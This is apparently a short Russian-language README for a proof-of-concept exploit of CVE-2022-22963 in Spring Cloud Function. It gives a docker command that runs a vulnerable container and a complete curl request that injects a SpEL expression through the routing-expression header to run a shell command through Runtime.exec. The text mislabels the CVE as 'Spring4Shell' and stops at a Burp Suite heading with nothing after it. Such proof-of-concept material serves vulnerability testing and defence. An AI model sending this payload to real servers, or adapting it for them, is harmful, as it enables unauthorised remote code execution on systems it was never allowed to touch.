darryk10/cve-2022-22963Эксплойт с доказательством концепции для CVE-2022-22963 (Spring4Shell) с уязвимым Docker-контейнером и удаленным выполнением кода на основе curl через выражения маршрутизации Spring Cloud Function.
Чтобы запустить уязвимое приложение SpringBoot, запустите этот docker-контейнер, открыв его на порту 8080. Пример:
docker run -it -d -p 8080:8080 bobcheat/springboot-public
Команда Curl:
curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/test")' --data-binary $'exploit_poc' $'http://192.168.1.2:8080/functionRouter'
Или используя Burp suite:
